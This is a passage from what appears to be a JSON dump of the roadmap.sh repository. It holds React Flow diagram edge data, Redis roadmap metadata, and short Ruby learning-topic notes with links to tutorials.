\"reactflow__edge-zXs_9n2yEb_eVi0WuOQKHz2-9W_jaK1DSEZHRKdPcUM7hy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_NiUdVQ85qnvryI38k_vQ\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"4fIp9_ii_gYgEMFFk__BG\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9W_jaK1DSEZHRKdPcUM7hw2-4fIp9_ii_gYgEMFFk__BGx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_NiUdVQ85qnvryI38k_vQ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"9W_jaK1DSEZHRKdPcUM7h\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_NiUdVQ85qnvryI38k_vQx2-9W_jaK1DSEZHRKdPcUM7hw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9W_jaK1DSEZHRKdPcUM7h\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VJosvi5KwlePkGxBzmxSH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9W_jaK1DSEZHRKdPcUM7hx2-VJosvi5KwlePkGxBzmxSHw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9W_jaK1DSEZHRKdPcUM7h\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YHbWlKrQqptUDbaQVy0_A\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-9W_jaK1DSEZHRKdPcUM7hy2-YHbWlKrQqptUDbaQVy0_Az1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YHbWlKrQqptUDbaQVy0_A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Mpt_WSLngBqt131nAm3Ns\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YHbWlKrQqptUDbaQVy0_Ax2-Mpt_WSLngBqt131nAm3Nsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YHbWlKrQqptUDbaQVy0_A\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Veb30QrPYNjUn13dtGbUr\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YHbWlKrQqptUDbaQVy0_Ay2-Veb30QrPYNjUn13dtGbUrz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Veb30QrPYNjUn13dtGbUr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PXWvq1ezVBU5UJVN887Es\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Veb30QrPYNjUn13dtGbUrx2-PXWvq1ezVBU5UJVN887Esw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Veb30QrPYNjUn13dtGbUr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"bQaek7f3dAaZfSUhwovm1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Veb30QrPYNjUn13dtGbUry2-bQaek7f3dAaZfSUhwovm1w1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bQaek7f3dAaZfSUhwovm1\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"uvwbpHaA6rH6YrHuEdBxh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-bQaek7f3dAaZfSUhwovm1z2-uvwbpHaA6rH6YrHuEdBxhw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uvwbpHaA6rH6YrHuEdBxh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rSD8nJ-uNpHJVe5Hn66h7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uvwbpHaA6rH6YrHuEdBxhx2-rSD8nJ-uNpHJVe5Hn66h7w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AQiCcHS6dBAAAPloxiXub\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zmVjMf9wNHARBS_mBY4lY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-AQiCcHS6dBAAAPloxiXubz2-zmVjMf9wNHARBS_mBY4lYy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zmVjMf9wNHARBS_mBY4lY\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"gdiWwTQg6A-BFHdQBmgmH\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zmVjMf9wNHARBS_mBY4lYw2-gdiWwTQg6A-BFHdQBmgmHx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qy42paiTUsO8HIwbWTMui\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"k9HeweEN4enuboEppbJiP\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-Qy42paiTUsO8HIwbWTMuiz2-k9HeweEN4enuboEppbJiPw1\",\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k9HeweEN4enuboEppbJiP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7ETrwXaK2xR1AoS7tTyzW\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-k9HeweEN4enuboEppbJiPx2-7ETrwXaK2xR1AoS7tTyzWw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hLIT00Iz7rV56ZBIUhWYn\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"jicsfYw56VrbRUt7M8c85\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hLIT00Iz7rV56ZBIUhWYnw2-jicsfYw56VrbRUt7M8c85x2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hLIT00Iz7rV56ZBIUhWYn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"vWOOOTjEx8Ycz1NA0xZad\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hLIT00Iz7rV56ZBIUhWYnx2-vWOOOTjEx8Ycz1NA0xZadw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vWOOOTjEx8Ycz1NA0xZad\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"giyKPtQ-pziA064P8OQD-\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vWOOOTjEx8Ycz1NA0xZadz2-giyKPtQ-pziA064P8OQD-y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GPsf1hc9hXNKgutGCribk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wXRDsNGFckXV_CSiit5sN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--gCy7Uj64KQJ39IYb_Vphx2-8lyXDuZJ-KHl4v2_8Ew1hw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wXRDsNGFckXV_CSiit5sN\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Cb-KazR4PuR86VX5oT0zi\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wXRDsNGFckXV_CSiit5sNy2-8lyXDuZJ-KHl4v2_8Ew1hz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Cb-KazR4PuR86VX5oT0zi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"nUIfTkgm3PlSiqgun1BS7\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Cb-KazR4PuR86VX5oT0ziy2-nUIfTkgm3PlSiqgun1BS7z2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nUIfTkgm3PlSiqgun1BS7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8lyXDuZJ-KHl4v2_8Ew1h\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-nUIfTkgm3PlSiqgun1BS7x2-8lyXDuZJ-KHl4v2_8Ew1hw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8lyXDuZJ-KHl4v2_8Ew1h\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"H3njQtlasgGo0-IFiFZqL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8lyXDuZJ-KHl4v2_8Ew1hx2-H3njQtlasgGo0-IFiFZqLw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8lyXDuZJ-KHl4v2_8Ew1h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-8lyXDuZJ-KHl4v2_8Ew1hz2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"type\": \"smoothstep\"\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/redis/redis.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/redis.json'\npdfUrl: '/pdfs/roadmaps/redis.pdf'\nrenderer: 'editor'\norder: 19\nbriefTitle: 'Redis'\nbriefDescription: 'Step by step guide to learn Redis in 2025'\ntitle: 'Redis Roadmap'\ndescription: 'Step by step guide to learn Redis in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 3550\nschema:\n  headline: 'Redis Roadmap'\n  description: 'Learn about Redis with this interactive step by step guide in 2023. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/redis.png'\n  datePublished: '2024-09-19'\n  dateModified: '2024-09-19'\nseo:\n  title: 'Redis Roadmap'\n  description: 'Learn about Redis using this roadmap. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'learn redis 2024'\n    - 'learn redis 2025'\n    - 'redis tutorial'\n    - 'redis for beginners'\n    - 'how to learn redis'\n    - 'step by step guide for redis'\n    - 'use redis in production'\n    - 'guide to learning redis'\n    - 'redis roadmap'\n    - 'redis roadmap 2024'\n    - 'redis roadmap 2025'\n    - 'redis learning path'\n    - 'redis learning roadmap'\n    - 'redis learning guide'\n    - 'redis skills'\n    - 'redis for development'\n    - 'redis for development skills'\n    - 'redis learning guide'\n    - 'become a redis expert'\n    - 'redis career path'\n    - 'learn redis for development'\n    - 'what is redis'\n    - 'redis quiz'\n    - 'redis interview questions'\nrelatedRoadmaps:\n  - 'mongodb'\n  - 'postgresql-dba'\n  - 'sql'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/ruby/content/arithmetic@I708SVAEVSpdHzwxoHhgD.md",
    "content": "# Arithmetic Operators\n\nArithmetic operators are symbols that perform mathematical calculations on numerical values. These operators allow you to perform addition, subtraction, multiplication, division, and other common arithmetic operations. They take one or more operands (the values being operated on) and produce a result based on the operation performed.\n\nVisit the following resources to learn more:\n\n- [@article@Arithmetical operators](https://ruby-for-beginners.rubymonstas.org/operators/arithmetical.html)\n- [@article@Ruby - Operators](https://www.tutorialspoint.com/ruby/ruby_operators.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/arrays@2QHXNKV0tETI5FroFNylt.md",
    "content": "# Arrays\n\nArrays in Ruby are ordered collections of items. They can hold any type of data, including numbers, strings, symbols, or even other arrays. You create an array using square brackets `[]`, with elements separated by commas. Arrays are dynamic, meaning their size can change as you add or remove elements. You can access elements in an array using their index, starting from 0 for the first element.\n\nVisit the following resources to learn more:\n\n- [@official@class Array](https://docs.ruby-lang.org/en/master/Array.html)\n- [@article@Arrays](https://launchschool.com/books/ruby/read/arrays#whatisanarray)\n- [@article@Arrays - Odin Project](https://www.theodinproject.com/lessons/ruby-arrays)\n- [@article@Arrrays](https://ruby-for-beginners.rubymonstas.org/built_in_classes/arrays.html)\n- [@video@Arrays are Easy in Ruby for Beginners 9](https://www.youtube.com/watch?v=PeyodDIfLeE)\n- [@video@Arrays | Ruby | Tutorial 13](https://www.youtube.com/watch?v=SP3Vf2KcYeU)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/assignment@NpHLz4I9wwwXX-KBrjdgU.md",
    "content": "# Assignment Operators\n\nAssignment operators in Ruby are used to assign values to variables. The most basic assignment operator is the equals sign (=), which assigns the value on the right-hand side to the variable on the left-hand side. Ruby also provides compound assignment operators that combine assignment with arithmetic or bitwise operations, such as +=, -=, \\*=, /=, and %=. These operators modify the variable's value by performing the specified operation with the right-hand side operand and then assigning the result back to the variable.\n\nVisit the following resources to learn more:\n\n- [@article@Assignment operators](https://kddnewton.com/2023/07/20/ruby-operators.html#assignment-operators)\n- [@article@Ruby - Operators](https://www.tutorialspoint.com/ruby/ruby_operators.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/attributes-accessors@I9dIFxsUrysgrcqUSBNsW.md",
    "content": "# Attributes Accessors\n\nAttributes accessors provide a convenient way to access and modify the instance variables of a class. They automatically generate methods for reading (getting) and writing (setting) the values of these variables. The three main types are `attr_reader`, which creates a getter method; `attr_writer`, which creates a setter method; and `attr_accessor`, which makes both a getter and a setter method. These accessors simplify code and encapsulate the internal state of objects.\n\nVisit the following resources to learn more:\n\n- [@article@Accessors and Attributes of Class in Ruby](https://www.naukri.com/code360/library/accessors-and-attributes-of-class-in-ruby)\n- [@article@What is an accessor?](https://ruby-doc.org/docs/ruby-doc-bundle/UsersGuide/rg/accessors.html)\n- [@article@Understanding attr methods in Ruby!](https://dev.to/kateh/understanding-attr-methods-in-ruby-412)\n- [@video@How to Use Attribute Accessors in Ruby](https://www.youtube.com/watch?v=C4O7bcbItw4)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/begin-rescue-ensure@-2BSGoXGMMP50en_NnQ97.md",
    "content": "# Exception Handling with begin, rescue, and ensure\n\nException handling is a mechanism to deal with errors that occur during the execution of a program. In Ruby, the `begin`, `rescue`, and `ensure` keywords provide a structured way to handle these exceptions. The `begin` block encloses the code that might raise an exception. If an exception occurs, the `rescue` block catches and handles it. The `ensure` block, if present, guarantees that its code will always be executed, regardless of whether an exception was raised or not, making it suitable for cleanup operations.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use The “Begin” & “Rescue” Keywords in Ruby](https://www.rubyguides.com/2019/06/ruby-rescue-exceptions/)\n- [@article@Understanding Ruby Error Handling](https://betterstack.com/community/guides/scaling-ruby/ruby-error-handling/)\n- [@article@Unlocking Ruby Keywords: Begin, End, Ensure, Rescue](https://vaidehijoshi.github.io/blog/2015/08/25/unlocking-ruby-keywords-begin-end-ensure-rescue/)\n- [@video@Handling Errors | Ruby | Tutorial 28](https://www.youtube.com/watch?v=J7R94i2bhlI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/blocks@DzolktV1UUCdSWqmqWgV3.md",
    "content": "# Blocks\n\nBlocks are chunks of code that can be passed to methods as if they were arguments. They are defined using either `do...end` or curly braces `{}`. Blocks are not objects themselves, but they can be converted into objects called Procs. Methods can then execute the code within the block using the `yield` keyword. Blocks are a fundamental part of Ruby's expressiveness, allowing for powerful iteration and control flow patterns.\n\nVisit the following resources to learn more:\n\n- [@article@The Ultimate Guide to Blocks, Procs & Lambdas](https://www.rubyguides.com/2016/02/ruby-procs-and-lambdas/)\n- [@article@Blocks and Procs](https://launchschool.com/books/ruby/read/more_stuff#blocksandprocs)\n- [@article@Blocks - Odin Project](https://www.theodinproject.com/lessons/ruby-blocks)\n- [@article@The two common ways to call a Ruby block](https://www.codewithjason.com/two-common-ways-call-ruby-block/)\n- [@video@Blocks, Procs, and Lambda Functions in Ruby](https://www.youtube.com/watch?v=Dh3cSYjHITI)\n- [@video@Ruby Blocks, Procs, and Lambdas 🦁🐅🐻](https://www.youtube.com/watch?v=SADF5diqAJk)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/booleans@Ze02ApxTvyQqtB3VYv3d4.md",
    "content": "# Booleans\n\nBooleans represent truth values: either `true` or `false`. They are fundamental for decision-making in Ruby code, allowing programs to execute different blocks of code based on whether a condition is true or false. Boolean values are the result of logical operations and comparisons.\n\nVisit the following resources to learn more:\n\n- [@article@Booleans - Odin Project](https://www.theodinproject.com/lessons/ruby-basic-data-types#booleans)\n- [@article@True, False, and Nil](https://ruby-for-beginners.rubymonstas.org/built_in_classes/true_false_nil.html)\n- [@video@True or False Booleans in Ruby for Beginners 4](https://www.youtube.com/watch?v=zzDNAu3IVpQ)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/break@0gjDinuRDgPV9iTm39ZnS.md",
    "content": "# Break Statement in Ruby\n\nThe `break` statement in Ruby is a control flow tool used to exit a loop prematurely. When `break` is encountered within a loop (like `for`, `while`, `until`, or `each`), the loop's execution is immediately terminated, and the program continues with the next statement after the loop. It's useful for stopping a loop when a specific condition is met, preventing unnecessary iterations.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding The Ruby Next & Break Keywords](https://www.rubyguides.com/2019/09/ruby-next-break-keywords/)\n- [@article@Controlling Loop Execution](https://launchschool.com/books/ruby/read/loops_iterators#controllloop)\n- [@article@Ruby Explained: Iteration](https://eriktrautman.com/posts/ruby-explained-iteration)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/bundler@Y6yFuFfcdlcupQUFHV3cg.md",
    "content": "# Bundler\n\nBundler is a dependency manager for Ruby. It ensures that an application uses the exact versions of gems (Ruby libraries) that it needs to function correctly. It tracks and installs the specific gem versions required by a project, creating a consistent environment across different machines and deployments. This prevents conflicts and ensures that the application behaves as expected, regardless of where it's run.\n\nVisit the following resources to learn more:\n\n- [@official@Bundler](https://bundler.io/)\n- [@official@What is Bundler?](https://bundler.io/guides/getting_started.html)\n- [@article@The Beginner's Guide to Bundler and Gemfiles](https://www.moncefbelyamani.com/the-beginner-s-guide-to-bundler-and-gemfiles/)\n- [@video@Introduction to Ruby Bundler Gem](https://www.youtube.com/watch?v=nGKAa04hpZE)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/byebug@2y9U11vXpTXHwkIGogzaf.md",
    "content": "# Byebug\n\nByebug is a powerful debugger for Ruby programs. It allows you to step through your code line by line, inspect variables, set breakpoints, and evaluate expressions in real-time. This helps you understand the flow of your program, identify the source of bugs, and fix them more efficiently.\n\nVisit the following resources to learn more:\n\n- [@opensource@byebug](https://github.com/deivid-rodriguez/byebug)\n- [@article@Debugging with ‘ByeBug’ gem](https://medium.com/le-wagon-tokyo/debugging-with-byebug-gem-6a47b2a210bb)\n- [@video@Debugging Ruby With Byebug](https://www.youtube.com/watch?v=toZrovVX4ug)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/case@BiUeOOd9E7V4Gpmu3PWj7.md",
    "content": "# Case Statements\n\nA `case` statement in Ruby provides a way to execute different blocks of code based on the value of a variable or expression. It's an alternative to using multiple `if/elsif/else` statements, especially when you need to check for several different possible values. The `case` statement compares a given value against multiple `when` clauses, and executes the code block associated with the first matching clause. An optional `else` clause can be included to handle cases where none of the `when` clauses match.\n\nVisit the following resources to learn more:\n\n- [@article@Case statements](https://www.theodinproject.com/lessons/ruby-conditional-logic#case-statements)\n- [@article@The Many Uses Of Ruby Case Statements](https://www.rubyguides.com/2015/10/ruby-case/)\n- [@video@case..when in Ruby](https://www.youtube.com/watch?v=gsmexAC2eoM)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/chaining-methods@CIV4Ph1B-kUcYv_EqVw2I.md",
    "content": "# Chaining Methods\n\nChaining methods in Ruby lets you call multiple methods on an object in a single line of code. This works because most methods in Ruby return an object (often `self`, the object the method was called on). By returning an object, the next method in the chain can be immediately called on the result of the previous method. This creates a fluent and readable way to perform a series of operations on a single object.\n\nVisit the following resources to learn more:\n\n- [@article@Chaining Methods](https://launchschool.com/books/ruby/read/methods#chainingmethods)\n- [@article@Chaining methods - Odin Project](https://www.theodinproject.com/lessons/ruby-methods#chaining-methods)\n- [@article@A Guide to Method Chaining](https://www.sitepoint.com/a-guide-to-method-chaining/)\n- [@video@How to Read, Analyze & Understand Ruby Method Chains](https://www.youtube.com/watch?v=toeX_3cHqYg)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/closures@yaC-XKRT0dWDFmDqpCvUw.md",
    "content": "# Closures\n\nA closure is a block of code that can be passed around and executed later, even after the scope in which it was originally defined has ended. It \"closes over\" its surrounding environment, capturing the values of variables that were in scope when the closure was created. This allows the closure to access and use those variables even when it's executed in a different context.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Ruby closures](https://www.codewithjason.com/ruby-closures/)\n- [@article@Closures in Ruby: Blocks, Procs and Lambdas](https://blog.appsignal.com/2018/09/04/ruby-magic-closures-in-ruby-blocks-procs-and-lambdas.html)\n- [@video@Understanding Ruby closures](https://www.youtube.com/watch?v=1OrZ2edTHGQ)\n- [@video@An Introduction to Procs, Lambdas and Closures in Ruby](https://www.youtube.com/watch?v=VBC-G6hahWA)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/comments@PqSnJOOQm3lRoBUs9Fan6.md",
    "content": "# Comments\n\nComments are notes in your code that the Ruby interpreter ignores. They're used to explain what the code does, making it easier for you and others to understand. You can create a single-line comment by starting a line with a `#`. For multi-line comments, you can use `=begin` and `=end` blocks; anything between these markers is treated as a comment.\n\nVisit the following resources to learn more:\n\n- [@official@Code Comments](https://docs.ruby-lang.org/en/master/syntax/comments_rdoc.html)\n- [@article@How To Use Comments in Ruby](https://www.digitalocean.com/community/tutorials/how-to-use-comments-in-ruby)\n- [@video@Comments | Ruby | Tutorial 25](https://www.youtube.com/watch?v=7wbX3OMgqn0)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/comparison@HiDx1OWbSDJJb7APHwG34.md",
    "content": "# Comparison Operators\n\nComparison operators are symbols used to compare two values. These operators evaluate to either `true` or `false` based on the relationship between the values being compared. Common comparison operators include equal to (`==`), not equal to (`!=`), greater than (`>`), less than (`<`), greater than or equal to (`>=`), and less than or equal to (`<=`).\n\nVisit the following resources to learn more:\n\n- [@article@Comparison operators](https://ruby-for-beginners.rubymonstas.org/operators/comparison.html)\n- [@article@Ruby - Operators](https://www.tutorialspoint.com/ruby/ruby_operators.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/concurrency@oM4ezZoguNFOALXH3Sl6E.md",
